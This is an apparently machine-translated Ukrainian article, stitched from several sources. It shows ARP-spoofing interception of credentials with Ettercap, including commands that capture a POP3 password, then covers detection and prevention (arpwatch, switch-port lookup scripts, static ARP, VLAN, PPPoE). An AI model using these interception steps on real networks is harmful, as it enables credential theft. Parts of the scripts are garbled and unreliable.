Ettercap перегляд трафіку. Ettercap: свято на твоїй вулиці

У цій статті буде розказано, як перехоплювати трафік в локальній мережі за допомогою Ettercap. Використовуючи для цього MITM атаки (Man In The Middle attacks - атаки типу "людина посередині").

- open source утиліта для аналізу безпеки комп'ютерних мереж. Основне призначення якої - MITM атаки (Man In The Middle attacks - атаки типу "людина посередині"). Може sniffing of live connections, фільтрація контенту на льоту, а так само багато інших цікавих можливостей. Підтримує як активні, так і пасивні розтину протоколів і включає велику кількість функцій для аналізу мережі та вузла.

Більш детальну інформацію, можна знайти на

Установка / Налаштування Ettercap

Завантажити та встановити Ettercap можна з вихідних -. В якості альтернативи можна скористатися наступною командою:

# Apt-get install ettercap-gtk ettercap-common

Знаходимо в ньому ось ці рядки і раскомментіруем їх:

# If you use iptables: redir_command_on \u003d "iptables -t nat -A PREROUTING -i% iface -p tcp --dport% port -j REDIRECT --to-port% rport" redir_command_off \u003d "iptables -t nat -D PREROUTING - i% iface -p tcp --dport% port -j REDIRECT --to-port% rport "

# If you use iptables:

redir_command_on \u003d "Iptables -t nat -A PREROUTING -i% iface -p tcp --dport% port -j REDIRECT --to-port% rport"

redir_command_off \u003d "Iptables -t nat -D PREROUTING -i% iface -p tcp --dport% port -j REDIRECT --to-port% rport"

Після того, як всі перераховані вище операції зроблені, запускаємо Ettercap. Однак у деяких, в тому числі і у мене, Ettercap працювати не буде. Будуть з'являтися помилки виду " SEND L3 ERROR". Щоб такі помилки не з'являлися, скористайтеся командою

# Echo "1"\u003e / proc / sys / net / ipv4 / ip_forward # cat / proc / sys / net / ipv4 / ip_forward 1

# Echo "1"\u003e / proc / sys / net / ipv4 / ip_forward

# Cat / proc / sys / net / ipv4 / ip_forward

Тепер все має працювати нормально і помилки не повинні вискакувати.

ARP Poisoning

Раніше вже описувалося, що таке "" і для чого вона потрібна. Тут же буде описано, як здійснити її використовуючи Ettercap.

Для початку подивіться на архітектуру мережі (див. Малюнок нижче), яка буде використовуватися. Це потрібно для того, щоб ви добре розуміли, що і від куди береться:

Запускаємо Ettercap:

Перед нами з'явиться вікно програми, як показано нижче:

Клацаємо по кнопці Sniff-> Unified sniffing. Після цього вибираємо інтерфейс, який використовується. У мене це eth0:

У верхньому меню натискаємо кнопки HostsScan for hosts:

Тепер знову клацаємо HostsHosts list. З'явиться вікно, як показано на малюнку нижче:

Тут нам потрібно вибрати цілі, тобто вибрати машину, яка буде виступати в якості "жертви" і шлюз. Як видно з архітектури мережі, яку використовуємо, як "жертви" виступає машина з IP-адресою \u003d 192.168.1.3. Ну а в якості шлюзу IP-адреса \u003d 192.168.1.1. Тому вибираємо 192.168.1.3 і натискаємо кнопку Add to Target 1. Тепер клацаємо 192.168.1.1 і натискаємо кнопку Add to Target 2.

натискаємо ОК. Залишилося тільки запустити. Для цього натискаємо на кнопку StartStart sniffing.

Sniffing запущений. Залишилося почекати, коли користувач буде вводити свої дані, наприклад від поштового аккаунта.

ARP-spoofing (ARP-poisoning) - техніка мережевої атаки застосовується переважно в Ethernet, але можлива і в інших, що використовують протокол ARP мережах, заснована на використанні недоліків протоколу ARP і дозволяє перехоплювати трафік між вузлами, які розташовані в межах одного широкомовного домену.

У статті детально описана техніка атаки ARP-spoofing, На прикладі атаки, виконаної за допомогою програми ettercap; розглянуті такі методи виявлення і запобігання ARP-атак, як стеження за ARP-активністю за допомогою arpwatch, накладення спеціальних патчів для додання імунітету системам, використання VLAN і PPPoE. Показано як вирішувати що мають безпосереднє відношення до протоколу ARP завдання: пошук комп'ютерів по відомому MAC-адресу та виявлення нових комп'ютерів в мережі.

Протокол ARP і атаки з його використанням

Що таке і для чого потрібен ARP

Протокол ARP призначений для перетворення IP-адрес в MAC-адреси. Найчастіше мова йде перетворенні в адреси Ethernet, але ARP використовується і в мережах інших технологій: Token Ring, FDDI і інших.

Алгоритм роботи ARP

Протокол може використовуватися в наступних випадках:

  1. хост A хоче передати IP-пакет вузлу B, Що знаходиться з ним в одній мережі;
  2. хост A хоче передати IP-пакет вузлу B, Що знаходиться з ним в різних мережах, і користується для цього послугами маршрутизатора R.

У будь-якому з цих випадку вузлом A буде використовуватися протокол ARP, тільки в першому випадку для визначення MAC-адреси вузла B, А в другому - для визначення MAC-адреси маршрутизатора R. В останньому випадку пакет буде переданий маршрутизатора для подальшої ретрансляції.

Далі для простоти розглядається перший випадок, коли інформацією обмінюються вузли, що знаходяться безпосередньому в одній мережі. (Випадок коли пакет адресований вузлу знаходиться за маршрутизатором відрізняється тільки тим, що в пакетах передаються після того як ARP-перетворення завершено, використовується IP-адреса одержувача, але MAC-адресу маршрутизатора, а не одержувача.)

проблеми ARP

Протокол ARP є абсолютно незахищеним. Він не володіє ніякими способами перевірки автентичності пакетів: як запитів, так і відповідей. Ситуація стає ще більш складною, коли може використовуватися мимовільний ARP (gratuitous ARP).

самовільний ARP - така поведінка ARP, коли ARP-відповідь надсилається, коли в цьому (з точки зору одержувача) немає особливої \u200b\u200bнеобхідності. Самовільний ARP-відповідь це пакет-відповідь ARP, присланий без запиту. Він застосовується для визначення конфліктів IP-адрес в мережі: як тільки станція отримує адресу по DHCP або адреса присвоюється вручну, розсилається ARP-відповідь gratuitous ARP.

Самовільний ARP може бути корисний в наступних випадках:

  • Оновлення ARP-таблиць, зокрема, в кластерних системах;
  • Інформування комутаторів;
  • Повідомлення про включення мережевого інтерфейсу.

Незважаючи на ефективність мимовільного ARP, він є особливо небезпечним, оскільки з його допомогою можна запевнити віддалений вузол в тому, що MAC-адресу будь-якої системи, що знаходиться з нею в одній мережі, змінився і вказати, яку адресу використовується тепер.

ARP-spoofing

До виконання ARP-spoofing'а в ARP-таблиці вузлів A і B існують записи з IP- і MAC-адресами один одного. Обмін інформацією здійснюється безпосередньо між вузлами A і B. (Зелена стрілка)

В ході виконання ARP-spoofing'а комп'ютер C, Що виконує атаку, відправляє ARP-відповіді (без отримання запитів):

  • вузлу A: З IP-адресою вузла B і MAC-адресою вузла C;
  • вузлу B: З IP-адресою вузла A і MAC-адресою вузла C.

В силу того що комп'ютери підтримують мимовільний ARP (gratuitous ARP), вони модифікують власні ARP-таблиці і поміщають туди записи, де замість справжніх MAC-адрес комп'ютерів A і B варто MAC-адресу комп'ютера C. (Червоні стрілки)

Після того як атака виконана, Коли комп'ютер A хоче передати пакет комп'ютера B, Він знаходить в ARP-таблиці запис (вона відповідає комп'ютера C) І визначає з неї MAC-адресу одержувача. Відправлений у цій MAC-адресу пакет приходить комп'ютера C замість одержувача. комп'ютер C потім ретранслює пакет того, кому він дійсно адресовано - тобто комп'ютера B. (Сині стрілки)

Інструменти для виконання ARP-spoofing'а

В даний час існує декілька інструментів для виконання ARP-spoofing'а, що працюють як в ОС Linux, так і в ОС Windows.

Найбільш відомі:

  • Ettercap
  • Cain & Abel
  • dsniff
  • arp-sk

Всі названі програми поширюються вільно.

Виконання ARP-spoofing'а c допомогою ettercap

[Приклад виконання атаки за допомогою ettercap.] Розглянемо як виконати вищеописану атаку за допомогою ettercap.

  • Що відбувається на машині A.
  • Що відбувається на машині B.
  • Що відбувається на машині C.

Детально розглянемо як виконується ARP-spoofing. Як інструмент будемо використовувати програму ettercap, проте інші інструменти для виконання ARP-spoofing'а працюють аналогічним чином.

  • Машина A - hostA - 192.168.15.201 - 00: 04: 75: 75: 46: B1
  • Машина B - hostB - 192.168.15.254 - 00: 0A: 01: D4: D1: 39
  • Машина C - hostC - 192.168.15.200 - 00: 0A: 01: D4: D1: E3

атаку виконує hostC проти вузлів hostA і hostB.

Встановити ettercap прийнятим в системі способом:
hostC% # apt-get install ettercap
Виконати атаку проти вузлів hostA і hostB:
% # Ettercap -T -M arp -L log /192.168.15.201/ /192.168.15.254/
Опції означають:

  • -T - використовувати текстовий (консольний) інтерфейс;
  • -M arp - використовувати модуль ARP-spoofing'а для виконання атаки;
  • -L log - записувати журнал перехоплення в файли з ім'ям log. *;

В якості аргументів указуються IP-адреси машин, проти яких потрібно виконувати атаку ARP-spoofing.

Нехай, наприклад, в цей час вузол A звертається до вузла B по протоколу POP3, класичного прикладу незахищеного, але дуже поширеного протоколу - перевіряє пошту.

hostA% # nc 192.168.15.254 110
USER user
+ OK
PASS password
+ OK
LIST
+ OK
.

Дані передаються між клієнтом hostA і сервером hostB проходять через вузол C. Вони виводяться на екран і записуються в файли. Після того як атака завершена для виходу з ettercap необхідно натиснути q. Програма відсилає ARP-пакети для відновлення старих записів в кеші ARP вузлів, щоб вони спілкувалися один з одним безпосередньо. У поточному каталозі повинні з'явитися два файли, що починаються словом, зазначеним після ключа -L при виклику ettercap:

% # Ls log. *
log.eci
log.ecp

Переглянути їх вміст можна за допомогою програми etterlog, що входить в пакет ettercap:

% # Etterlog log.eci
etterlog NG-0.7.3 copyright 2001-2004 ALoR & NaGA
Log file version: NG-0.7.3
Timestamp: Thu Jun 21 12:23:11 2007
Type: LOG_INFO
Тисяча шістсот дев'яносто вісім tcp OS fingerprint
7587 mac vendor fingerprint
2183 known services

IP address: 192.168.15.201
MAC address: 00: 04: 75: 75: 46: B1
...
MANUFACTURER: Sohoware
DISTANCE: 0
TYPE: LAN host
FINGERPRINT:
OPERATING SYSTEM: UNKNOWN
PORT: TCP 110 | pop-3
ACCOUNT: user
/ password
(192.168.15.201)
==================================================

Як видно, пароль був успішно перехоплений. Подивимося як на вузлі hostA (атакується) змінюється ARP-таблиця

До атаки.

hostA% # arp -an

Під час атаки.

hostA% # arp -an
? (192.168.15.254) at 00: 0A: 01: D4: D1: E3 on eth0
? (192.168.15.200) at 00: 0A: 01: D4: D1: E3 on eth0

Після атаки.

hostA% # arp -an
? (192.168.15.254) at 00: 0A: 01: D4: D1: 39 on eth0
? (192.168.15.200) at 00: 0A: 01: D4: D1: E3 on eth0

Якщо дивитися, що відбувається на інтерфейсі eth0 комп'ютера hostA (через який виконується атака), можна побачити, що як тільки починається атака, на інтерфейс надходять ARP-пакети, які вказують, що MAC-адресу машини 192.168.15.254 змінився. Пакети приходять постійно. Коли атака завершена, MAC-адресу в пакета раптово змінюється на інший. А потім вони взагалі перестають приходити.

% # Tcpdump -i eth0 arp
08: 34: 20.231680 arp reply 192.168.15.254 is-at 00: 0a: 01: d4: d1: e3 (oui Unknown)
08: 34: 21.259637 arp reply 192.168.15.254 is-at 00: 0a: 01: d4: d1: e3 (oui Unknown)
08: 34: 22.287591 arp reply 192.168.15.254 is-at 00: 0a: 01: d4: d1: e3 (oui Unknown)
08: 34: 23.315522 arp reply 192.168.15.254 is-at 00: 0a: 01: d4: d1: e3 (oui Unknown)
08: 34: 32.463255 arp reply 192.168.15.254 is-at 00: 0a: 01: d4: d1: 39 (oui Unknown)
08: 34: 33.491040 arp reply 192.168.15.254 is-at 00: 0a: 01: d4: d1: 39 (oui Unknown)
08: 34: 34.514988 arp reply 192.168.15.254 is-at 00: 0a: 01: d4: d1: 39 (oui Unknown)

Така техніка гарантує, що таблиця ARP на жертви буде відновлена \u200b\u200bі ніхто не помітить атаки.

методи виявлення

arpwatch

Програма arpwatch відстежує всю ARP-активність на зазначених інтерфейсів. Коли вона зауважує аномалії, наприклад, зміна MAC-адреси при збереженні IP-адреси, або навпаки, вона повідомляє про це в syslog.

Інсталяція та конфігурація arpwatch

Процедуру інсталяції та конфігурування arpwatch розглянемо на прикладі системи Debian GNU / Linux. Установка arpwatch виконується традиційним для дистрибутива способом:

% # Apt-get install arpwatch
0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded.
Need to get 124kB of archives.
After unpacking 389kB of additional disk space will be used.
Get: 1 http: //debian.ZLO.ZLO.ZLO etch / main arpwatch 2.1a13-2
Fetched 124kB in 0s (177kB / s)
Selecting previously deselected package arpwatch.
(Reading database ... 22406 files and directories currently installed.)
Unpacking arpwatch (from ... / arpwatch_2.1a13-2_i386.deb) ...
Setting up arpwatch (2.1a13-2) ...
Starting Ethernet / FDDI station monitor daemon: (chown arpwatch /var/lib/arpwatch/arp.dat) arpwatch.

Після того як демон проинсталлировать, він автоматично заускается. (В інших системах його, можливо, потрібно буде запускати вручну.)

% # Ps aux | grep arpwatch
arpwatch 4810 0.5 0.4 3448 2360? S 8:36 0:00 / usr / sbin / arpwatch -u arpwatch -N -p
root 4827 0.0 0.1 2852 712 pts / 6 R + 8:36 0:00 grep arpwatch

Демон не має ніяких конфігураційних файлів. Конфігурація arpwatch повністю залежать від переданих йому ключів. В Debian GNU / Linux ключі вказуються в конфігураційному файлі / etc / default / arpwatch (в FreeBSD - в файлі /etc/rc.conf). При необхідності змінити конфігурацію arpwatch (зокрема, змусити його прослуховувати інші інтерфейси), потрібно правити вказаний файл:

% # Vi / etc / default / arpwatch
% # Cat / etc / default / arpwatch
# Global options for arpwatch (8).
# Debian: don "t report bogons, don" t use PROMISC.
ARGS \u003d "- N -p"
# Debian: run as `arpwatch" user. Empty this to run as root.
RUNAS \u003d "arpwatch"

Якщо конфігурація була змінена, демон повинен бути перезапущений:

% # /Etc/init.d/arpwatch restart

Коли демон запускається, він виявляє нові станції. Чи не виконується ніяких активних дій - просто прослуховується ARP-трафік. Виявлені вузли запам'ятовуються; про те, що виявлений новий вузол arpwatch повідомляє в syslog. Про всі зафіксованих їм аномаліях в роботі протоколу ARP демон також повідомляє в syslog:

# Tail -f /var/log/daemon.log
Jun 21 8:37:08 [Email protected] arpwatch: new station 192.168.15.200 0: a: 1: d4: d1: e3 eth0
Jun 21 8:37:08 [Email protected] arpwatch: new station 192.168.15.201 0: 4: 75: 75: 46: b1 eth0
Jun 21 8:37:09 [Email protected] arpwatch: new station 192.168.15.254 0: a: 1: d4: d1: 39 eth0
Jun 21 8:37:09 [Email protected] arpwatch: changed ethernet address 192.168.15.254 0: a: 1: d4: d1: e3 (0: a: 1: d4: d1: 39) eth0
Jun 21 8:37:11 [Email protected] arpwatch: ethernet mismatch 192.168.15.254 0: a: 1: d4: d1: e3 (0: a: 1: d4: d1: 39) eth0
Jun 21 8:37:12 [Email protected] arpwatch: ethernet mismatch 192.168.15.254 0: a: 1: d4: d1: e3 (0: a: 1: d4: d1: 39) eth0
Jun 21 8:37:13 [Email protected] arpwatch: ethernet mismatch 192.168.15.254 0: a: 1: d4: d1: e3 (0: a: 1: d4: d1: 39) eth0

Зверніть увагу на рядок

Jun 21 8:37:09 [Email protected] arpwatch: changed ethernet address 192.168.15.254 0: a: 1: d4: d1: e3 (0: a: 1: d4: d1: 39) eth0

яка повідомляє про те, що вузол 192.168.15.254 змінив MAC-адресу.

Можливо, це означає, що проти вузла, на якому запущений arpwatch виконується ARP-spoofing з метою перехоплення трафіку, яким він обмінюється з вузлом 192.168.15.254.

Виявлення вузла, що виконує ARP-spoofing

Якщо комутатор керований, можна визначити, на якому з його портів працює вузол, який має певний MAC-адресу.

Наприклад, це можна зробити за допомогою скрипта mac2port. Скрипт зв'язується з комутатором по SNMP і опитує його таблицю відповідності MAC-адрес портів. Отримана інформація видається в зручному для пошуку вигляді на стандартний потік виведення. Для спрощення використання скрипт виводить MAC-адреси в такому ж форматі, як це робить arpwatch.

Умови для використання скрипта:

  • скрипт повинен бути розміщений в каталозі / usr / local / bin, або іншому каталозі зазначеному в PATH;
  • скрипт повинен бути виконуваним (chown + x mac2port) або викликатися з інтерпретатором perl;
  • в тілі скрипта повинен бути вказаний IP-адреса комутатора і його SNMP RO community;
  • комутатор повинен підтримувати SNMP версії 2; підтримка повинна бути включена (не складно переписати скрипт на більш безпечний протокол SNMPv3, але ця версія працює саме з SNMPv2).

Приклад використання скрипта:
% # ./Mac2port
0: 4: 76: a1: ef: bb -\u003e 1
0: a: 1: d4: d1: e3 -\u003e 2
0: 15: 60: 79: 8e: c0 -\u003e 0
0: 4: 75: 75: 46: b1 -\u003e 3
0: a: 1: d4: d1: 39 -\u003e 44

Якщо раніше за допомогою arpwatch була зафіксована атака:

% # Cat /var/log/daemon.log | grep "changed ethernet address"
Jun 21 8:37:09 [Email protected]/192.168.15.201 arpwatch: changed ethernet address 192.168.15.254 0: a: 1: d4: d1: e3 (0: a: 1: d4: d1: 39) eth0

можна скористатися скриптом, і визначити з якого порту комутатора вона проводилася (при цьому не має значення, істинний це MAC-адресу мережевої карти атакуючого чи він був змінений):

% # Mac \u003d $ (cat /var/log/daemon.log | grep "changed ethernet address" | awk "(print $ 10)")
% # ./Mac2port | grep $ mac
0: a: 1: d4: d1: e3 -\u003e 2

Важливо щоб визначення виконувалося швидко, поки інформація про атакуючому ще зберігається в пам'яті комутатора.

Для цього має сенс викликати скрипт пошуку автоматично при виявленні відповідного запису в системному журналі. Аналіз журналу можна виконувати, наприклад, такими засобами як swatch або syslog-ng.

Наприклад, якщо використовується syslog-ng. можна створити скрипт, що виконує аналіз:
/ Usr / local / bin / syslog-ng-arpwatch

#! / Bin / sh
PATH \u003d $ PATH: / usr / local / bin
while read line
do
mac \u003d "$ (echo $ line | grep" changed ethernet address "| awk" (print $ 10) ")"
[-Z "$ mac"] && continue
(Echo POSSIBLY ARP-SPOOFING FROM :; mac2port | grep "$ mac") | logger -t arp-spoofing
done

і підключити його до syslog-ng.
Для цього потрібно в файлі конфігурації syslog-ng.conf вказати наступні рядки:

destination dp_arpspoofing (
program ( "/ usr / local / bin / syslog-ng-arpwatch");
};
filter f_arpspoofing (
match ( "arpwatch");
};
log (
source (s_all);
filter (f_arpspoofing);
destination (dp_arpspoofing);
};

рядок
filter (f_arpspoofing);

можна і не вказувати, але на навантажених системах, вона істотно знижує навантаження. В цьому випадку при виконанні arp-spoofing'а відбувається наступне:

  1. демон arpwatch кидає інформацію в syslog (через стандартний сокет / dev / log або / var / run / log);
  2. У тому випадку, якщо в якості syslog-сервера використовується Syslog-NG, він виявляє сигнатуру повідомлення і передає виявлену рядок скрипту syslog-ng-arpwatch;
  3. скрипт syslog-ng-arpwatch, Якщо бачить, що проблема дійсна пов'язана з ARP-spoofing'ом, викликає скрипт пошуку порту по MAC-адресу;
  4. скрипт mac2port звертається до комутатора по SNMP;
  5. Комутатор відповідає - передає таблиці містить інформацію про відповідність MAC-адрес портів викликав його скрипту;
  6. скрипт mac2port повертає таблицю відповідності MAC-адрес портів комутатора скрипту syslog-ng-arpwatch;
  7. скрипт syslog-ng-arpwatch знаходить цікавить порт і пише повідомлення в syslog;
  8. демон syslog-ng запісиваті повідомлення з інформацією про порт комутатора в файл, а також може передати його по SMS або поштою адміністратору або викликати зовнішню програму (яка, наприклад, після додаткових перевірок може заблокувати порт комутатора);
  9. Адміністратор читає про виявлену атаці у файлі.

Ось як це виглядає в файлі:
Jun 21 13:55:23 [Email protected] arp-spoofing: POSSIBLY ARP-SPOOFING FROM:
Jun 21 13:55:23 [Email protected] arp-spoofing: 0: a: 1: d4: d1: e3 -\u003e 2

Текст скрипта mac2port

#! / Usr / bin / perl
our $ community \u003d "public";
our $ switch \u003d "192.168.15.100";
open (SNMP, "snmpwalk -On -OQ -v2c -c $ community $ switch .1.3.6.1.2.1.17.4.3.1.1 |")
or die "Can" t run snmpwalk ";
while ()
{
chomp;
[Email protected]@@;
my ($ oid, $ mac) \u003d split / \u003d \\ s * /;
$ _ \u003d $ Mac;
[Email protected]"@@ g; [Email protected]\\ S * [Email protected]@; [Email protected] @: @ G; [Email protected](.) @ \\ L \\ [Email protected]; [Email protected]^[Email protected]@; [Email protected]:[Email protected]: @G;
$ Mac_table ($ _) \u003d $ oid;
}
close (SNMP);
open (SNMP, "snmpwalk -On -OQ -v2c -c $ community $ switch .1.3.6.1.2.1.17.4.3.1.2 |")
or die "Can" t run snmpwalk ";
while ()
{
chomp;
[Email protected]@@;
my ($ oid, $ port) \u003d split / \u003d /;
$ Ports_table ($ oid) \u003d $ port;
}
close (SNMP);
for $ oid (keys% mac_table) (
print "$ oid -\u003e". $ ports_table ($ mac_table ($ oid)). "\\ n";
}

методи запобігання

Боротьба з ARP-spoofing'ом за допомогою arpwatch і подібних інструментів виявляється хоча і дуже простий, але далеко не ефективною.

  • По-перше, для того щоб зафіксувати атаку, на що захищаються вузлах повинна працювати програма arpwatch (або аналогічна). У тому випадку якщо вона запущена тільки на одному з двох вузлів, що піддаються ARP-spoofing'у, існує можливість непоміченою односторонньої атаки.
  • По-друге, і це більш важливо, arpwatch дозволяє тільки зафіксувати атаку, але він не в змозі їй запобігти.

Для запобігання наслідків атаки необхідне втручання адміністратора або зовнішньої системи. У першому випадку між виявленням і реакцією адміністратора може пройти дуже багато часу. У другому втручання не потрібно, реакція виконується автоматично: як тільки ARP-аномалія зафіксована, визначається порт комутатора, до якого підключений джерело аномалії, і порт блокується до вияcненія. Однак, такий підхід має великий недолік - він може бути використаний для виконання DOS атаки: досить лише дізнатися MAC адреса комп'ютера, який треба відключить від мережі, і зімітувати атаку з цього комп'ютера. Далі наша система виявлення і запобігання ARP-spoofing'а все зробить сама.

В основі розглянутих способів протидії ARP-атакам лежать два абсолютно ралічних принципу, кожен з яких має як достоїнствами, так і недоліками.

Обидва способи, крім того що вони надійно захищають від ARP-spoofing'а мають ще ту перевагу, що дозволяють повністю контролювати трафік - не тільки той, що проходить через шлюз, але і той, який циркулює між машинами (В разі використання PPPoE машини можуть за взаємною згодою обмінюватися даними між собою безпосередньо. У разі використання VLAN такої можливості вони позбавлені геть.)

одностороння атака
Якщо потрібно перехопити трафік, який йде з якогось вузла в мережі в зовнішню мережу, атакувати потрібно вузол і шлюз мережі. Однак на шлюзі засіб виявлення ARP-spoofing'а може бути присутнім з набагато більш високою ймовірністю, ніж на вузлі. Оскільки нас цікавить трафік, який вузол відправляє в мережу, досить модифікувати ARP-таблицю тільки вузла і не ризикувати бути поміченим шлюзом. Дані, які шлюз відправляє вузлу будуть проходити безпосередньо, а дані, які вузол відправляє шлюзу будуть проходити через систему зловмисника. (Як на шлюзі, так і на вузлі можна було б відстежити, що на пакетах приходять від вузла MAC-адреси відрізняються від тих, що записані у нього в ARP-таблиці, тобто що пакети відправляються на один MAC-адресу, а приходять з іншого. Але ось які системи це роблять?)

статичний ARP

Можна боротися зі слабкостями протоколу ARP кардинально - просто не використовувати його. ARP-таблицю можна сформувати вручну, при цьому вона стає невразливою до ARP-атакам. Для цього потрібно додати необхідні MAC-адреси в таблицю.

Якщо при цьому відключити використання ARP на мережеві інтерфейси, то доступні будуть лише ті системи, (1) MAC-адреси яких додані в ARP-таблицю нашого вузла і (2) наш MAC-адресу доданий в ARP-таблиці вузлів, з якими проводиться обмін трафіком.

Якщо не відключати використання ARP на мережеві інтерфейси, MAC-адресу заданий статично має пріоритет. Якщо MAC-адресу для якогось IP-адреси не заданий, використовується ARP-запит.

Статичну ARP-таблицю можна отримати на основі існуючої ARP-таблиці маршрутизатора:

% # Arp -an | grep -v incom | awk "(print $ 2" "$ 4)" | tr -d "()"

Якщо написати так:

% # Arp -an | grep -v incom | awk "(print $ 2" "$ 4)" | tr -d "()"\u003e / etc / ethers

вона запишеться в файл / etc / ethers

Потрібно щоб в таблиці була максимальна кількість машин мережі. Потрібно або будувати таблицю в момент піку мережевої активності або попередньо пройшовшись по всьому діапазону адрес пінг:

for i in `seq 1 255`
do
ping -c 1 192.168.15. $ i\u003e & / dev / null &
done

(Тут 192.168.15.0/24 - мережа, для якої виконується сканування). Після того як файл / etc / ethers створений, його можна завантажувати за допомогою команди:

% # Ifconfig eth1 -arp

Переваги і недоліки

Метод ручного формування ARP-таблиць має наступні недоліки:

  • додається багато рутинної роботи, пов'язаної з додаванням і модифікацією MAC-адрес. Кожна зміна в мережі, пов'язане із заміною або перестановкою мережевих карт, має супроводжуватися редагування ARP-таблиць в файлах.
  • клієнтські вузли залишаються як і раніше уразливими до ARP-spoofing'у.

Патчі ядра системи

Існує патч (запропоновані buggzy) для ядер Linux / FreeBSD, який дозволяє звести до мінімуму небезпеку успішного виконання атаки ARP-spoofing проти пропатченних систем.

Суть методу полягає в наступному. При прийомі ARP-відповіді проводиться порівняння старого і нового MAC-адрес, і при виявленні його зміни запускається процедура верифікації. Надсилається ARP-запит, що вимагає всім господарям IP-адреси повідомити свої MAC-адреси.

Якщо виконується атака справжня система, що має цей IP-адреса, відповість на запит, і, таким чином, атака буде розпізнано. Якщо ж зміна MAC-адреси було пов'язано не з атакою, а зі стандартними ситуаціями, відповіді, що містить "старий" MAC-адресу, не буде, і по закінченню певного часу очікування система оновить запис в кеші.

При виявленні підозрілої ситуації ( "двійника") ядро \u200b\u200bвиводить повідомлення: "ARP_ANTIDOTE: Possible MITM attempt!", І не оновлює запис ARP-кеша, а навпаки, прописує стару запис як статичну. Після того як джерело атаки виявлено і знешкоджено, статичну запис можна видалити.

Патчі, що реалізують цей метод боротьби:

* Arp_antidote для Linux
* Arp_antidote 2 для Linux
* Arp Poison patch для FreeBSD

Патчі працюють тільки з ядром серії 2.4.

Інші методи боротьби з ARP-spoofing'ом

На жаль, цей метод не застосуємо до Windows-систем, і іншим системам, що працюють під управлінням ОС, вихідний код яких недоступний.

Необхідно вирішити проблему кардинально: потрібно так побудувати мережу, щоб виконання ARP-spoofing'а в ній було принципово неможливо. А якщо можливим, то марним.

Це можна зробити двома способами:

1. Обмежити для кожного вузла широкомовний домен до рівня двох вузлів: самого вузла і найближчого шлюзу. Детальніше. Чому атаку неможливо виконати в цьому випадку. Тоді атаку просто нема кому виконувати - потрібен третій. А його немає.
2. Зробити так щоб все, абсолютно все, що передаються в мережі дані були зашифровані і прослуховування цих даних, ні до чого б не привело. Будь-яке ж зміна даних, в разі виникнення, відразу ж виявлено. Тобто, фактично мережа повинна бути такою ж і безпечної при використанні замість комутатора концентратора.

Перший спосіб робиться за допомогою VLAN'ов. Другий - за допомогою PPPoE.

Використання VLAN

Комп'ютер C може використовувати ARP-spoofing проти комп'ютера A тільки в тому випадку, якщо вони знаходяться в одній мережі канального рівня. У тому випадку, якщо вони розділені маршрутизатором, атака неможлива (можлива атака на маршрутизатор, але це зовсім інша справа).

VLAN'и допомагають сегментувати мережу - перетворити одну мережу в безліч ізольованих на канальному рівні фрагментів, які з'єднані між собою маршрутизатором. Атака ARP-spoofing можлива тільки між комп'ютерами знаходяться в одному VLAN'е. У найбільш крайньому випадку, коли в кожному VLAN'е знаходиться тільки два комп'ютери: власне комп'ютер і маршрутизатор, атака ARP-spoofing стає неможливою в принципі. На жаль, така організація мережі є дуже вимогливою до ресурсів маршрутизатора і використовується рідко.

переваги
  1. Від клієнта нічого не потрібно. Він працює, як і працював. Якщо IP-адресою, визначеною статично, необхідна зміна IP-адреси і мережевий маски.
  2. Дані не шифруються, і продуктивність не втрачається. Малі втрати на додаткові поля в заголовку.
  3. Не можна організувати обмін даними в обхід шлюзу між вузлами в різних VLAN'ах. Якщо кожен вузол знаходиться у власному VLAN'е такий обмін неможливий взагалі.
недоліки
  1. Необхідна підтримка VLAN'ов комутатором.
  2. Необхідно витратити час на настройку VLAN'ов, додаткову настройку DHCP'сервера.
  3. Дані не шифруються. Якщо їх прослуховування якимось чином вдасться, то вони можуть бути прочитані і / або модифіковані.

Використання PPPoE

переваги
  1. дані шифруються
  2. Немає ніяких вимог до заліза. Навіть не обов'язково щоб мережа була комутованою
недоліки
  1. На клієнті потрібно налаштування доступу по PPPoE. На деяких системах мові спеціального клієнтського програмного забезпечення.
  2. За рахунок втрат на інкапсуляцію, знижується продуктивність мережі. Якщо виконується шифрування даних, то тимчасові втрати збільшуються.
  3. При взаємній згоді сторін можна організувати обмін даними між вузлами в обхід шлюзу.
  4. При великій кількості з'єднань PPPoE (\u003e 200) зростає навантаження на центральний процесор сервера. Іноді, доводиться жертвувати шифруванням даних.
  5. Якщо буде велике навантаження на сервер легше використовувати PPTPd або IPsec

Міфи і помилки, що стосуються ARP-spoofing

ARP-spoofing можна запобігти за допомогою функції port-security комутаторів

Функція port-security комутатора дозволяє захиститися від зміни MAC-адреси на порту комутатора. У тому випадку якщо комп'ютер, підключений до порту комутатора змінює MAC-адресу або якщо змінюється комп'ютер, комутатор зауважує підміну і перестає передавати пакети відправлені з новим зворотною адресою. Крім цього, можуть виконуватися інші дії: відсилання SNMP-трапа, запис в syslog тощо.

При ARP-spoofing'е MAC-адресу відправника (атакуючого) не змінюється і тому з точки зору port-security ніяких аномалій немає. Функція port-security ніяк не відповідає за відповідність IP-адрес і MAC-адрес, а атака ARP-spoofing побудована саме на цьому.

Програма задумувалася як аналізатор трафіку для комутованих ЛВС, але з часом перетворилася на універсальний засіб перехоплення, аналізу та реєстрації мережевих пакетів. Вона може працювати в мережах з комутаторами і концентраторами і має багато незвичайних властивостей. Зокрема, підтримується як активний, так і пасивний аналіз великого числа мережевих протоколів, в тому числі тих, в яких застосовується шифрування. Є кошти аналізу топології мережі і виявлення інстальованих операційних систем.

Для досягнення своїх цілей програма Ettercap використовує 5 різних методів аналізу: IP- і МАС-фільтрація, ARP-перехоплення і два різновиди останнього - Smart-ARP і Public-ARP.

У режимі IP-фільтрації пакети перевіряються на відповідність комбінації IP-адреса / порт (відправника і одержувача). У режимі МАС-фільтрації перевіряються МАС-адреси відправника та одержувача (це зручно при встановленні з'єднань через шлюз). У режимі ARP-перехоплення здійснюється атака типу «непомітний посередник» на обрані два вузла комутованої мережі. Це реалізується шляхом навмисного спотворення ARP-кешу вузлів, що викликає автоматичну переадресацію трафіку. Режими Smart-ARP і Public-ARP реалізуються схожим чином, але їх мета - перехоплення трафіку між узлом- «жертвою» і всіма іншими вузлами. У першому випадку задається список вузлів, у другому - програма посилає широкомовні ARP-пакети.

Можливості програми:

  • вміє модифікувати проходять пакети (в обох напрямках);
  • вміє аналізувати сполуки протоколів SSH1 і HTTPS (навіть якщо з'єднання встановлюється через проксі-сервер);
  • вміє підключати зовнішні модулі;
  • вміє розшифровувати імена користувачів і паролі для великого числа мережевих протоколів (включаючи Telnet, FTP, POP, SSH1, SMB, LDAP, NFS, IMAP4, VNC і багато інших);
